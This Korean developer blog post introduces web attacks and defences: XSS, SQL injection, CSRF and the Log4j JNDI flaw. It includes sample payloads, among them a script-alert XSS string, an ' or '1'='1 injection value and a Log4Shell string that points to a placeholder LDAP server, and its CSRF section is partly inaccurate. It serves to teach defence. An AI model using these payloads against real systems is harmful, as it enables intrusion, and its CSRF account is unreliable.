웹 보안에 대한 정리. (1)

---

1부. 해킹

 

보안에 대한 지식을 간과한체 앱을 구현하는 것은 빠르고 편하고 쉬우나 그 대가가 엄청나게 무섭다.

적어도 개발자라면 반드시 관련 지식을 알아둬야만 하는 공격과 보안에 대한 설명을 하겠다.

 

---

1.XSS

 

1)공격

해커가 작성한 코드를 웹페이지에서 작동하게하는 사용자에게 심각한 피해를 입히는 방법이다.

 

사용자 닉네임을 input으로 받는다고 해보자.

입력 받은 문자열은 웹 페이지 어딘가에 출력되는 정보이다. 예를 들면 게시글이 될 수도 있다.

 

그렇다면, input 에 정상적인 문자열 대신에 이렇게 적어보는건 어떨까?

<script>alert("attack");</script>

이렇게 적은 닉네임을 지닌 유저가 게시글을 올려두었다고 해보자.

 

게시판을 사용하는 타인이 화면을 로딩하던중 해당 닉네임을 화면에 출력하게 된다면

HTML 태그로 인식되는 해당 닉네임은 타인에게 alert 창을 띄우게 되는 것이다.

 

예시에서는 alert를 사용했지만

간단하게 while문으로 무거운 연산을 반복하게하는 것만으로 컴퓨터를 정지시키는것도 가능하다.

 

2)대응

대응법은 특수문자를 서버에서 모두 검열하는 것이 가장 최선이다.

물론 게시글의 본문에 이런 조치를 취할수는 없다.

이에 대해서는 해쉬코드와 인코딩에서 추가로 설명하겠다.

 

만약 프론트엔드 단에서 react 를 사용한다면 xss에 대한 방지효과를 볼수 있다.

 

---

2.SQL injection

 

1)공격

해커가 데이터베이스에 접근해서 서버의 데이터를 빼돌리거나 파기하는 방법이다.

 

클라이언트에서 사용자 명에 대하여 db에서 정보를 꺼낸다고 해보자.

 

이때의 SQL문이

select column form table where id = 'userid';

일때

 

유저가 입력한 userid의  값이 [userid' or '1'='1] 라면?

select column form table where id = 'userid' or '1'='1';

이런 식으로 쿼리의 의도를 공격자가 변형한다.

 

2)대응

이 역시 특수문자를 서버에서 검열하는 방법이 있으나

 

가장 좋은 방법은 쿼리 작성시

select column form table where id = ?;

이런 식으로 Parameter Binding 형태로 인자를 받아 사용하는 것이다.

 

만약 jpa를 사용한다면 이 형태를 기본 형태로 적용해서 사용하므로 SQL injection을 어느정도 예방할 수 있다.

어느정도라 하는 이유는 jpa에서 사용자 정의 쿼리를 사용하면서 허점이 생길 수 있기 때문.

 

---

3.CSRF

 

1)공격

서버에서 로그인을 승인한 뒤에 인가를 위한 토큰을 클라이언트에게 지급할 경우

이 토큰을 탈취한뒤 사용자의 정보를 이용하는 방법.

굳이 토큰이 아니여도 된다. 주요 타겟은 사용자의 쿠키 정보다.

 

URL 링크나 버튼등의 클릭등을 유도해서 타 유저의 권한에 대한 정보를 빼돌린뒤 공격자가 권한을 이용하는 방법이다.

 

조금 더 자세히 설명하자면 개념이 약간 다르다.

상대방이 특정 사이트에 접속하는 등의 작업을 하기 위해선

url에 지정되어있는 서버에서 정보를 달라고 요청을 보내게되는데,

이때 서버측은 정보를 요청하는 상대측의 경로를 받게된다.

 

즉 , 이렇게 받아낸 연결 경로를 이용해서 브라우저에서 자동으로 받게되는 여러 정보들을 위조해서 보낸뒤,

사용자의 권한을 획득하는 방법이다.

 

2)대응

클라이언트의 host와 request가 같은지 대조를 하면 일부분 예방할 수 있다. 

 

3)부록

개발자들 사이에서 피해가 비교적 미미해서 프론트엔드 단에서 자잘하게 막지 않는 공격 유형이 두가지가 있는데,

화면 요소를 꾸미는 html injection 과 css injection 이 이에 해당한다.

 

물론 이러한 변형을 서버단에 저장하게 하는 것은 다소 힘든면이 있으나

이미지의 출력을 URL로 사용할 수 있다는 점을 유의할 필요가있다.

 

---

+logj 에 대한 보안 주의

결과가 가장 심각하다 이것 만큼은 절대로 모르면 안됀다.

 

xss가 클라이언트 단에서 임의 코드를 실행한다면

logj를 사용한 이 공격은 서버단에서 임의 코드를 실행해버린다.

 

1)공격

서버에서 컨트롤러단에서 사용자의 get이나 post를 인자로 받는다고 생각해보자.

서버단에서는 get 이나 post를 받을때마다 어떤 내용을 받았는지 로그로 기록을 할것이다.

그래서 이에 가장 많이 사용되는 라이브러리가 logj인데,

 

만약 컨트롤러 단에서 인자를 ${jndi: ldap://server_ip:port/exploit } 로 받았다고 생각해보라.

대강 이 내용을 String 으로 받아서 로그로 기록한다 하면,

 

logger.info("${jndi: ldap://server_ip:port/exploit }");

이런 형태가 된다.

 

logj에서 제공하는 jndi는 타 컴퓨터와 통신으로 객체나 데이터를 주고 받기위해서 존재한다.

그런데 이를 악용해서 역으로 상대 컴퓨터 측에서 객체를 실행시키는 결과로 나타날 수 있다.

 

2)대응

logj는 반드시 2.17.1 이상의 버전을 사용해야한다.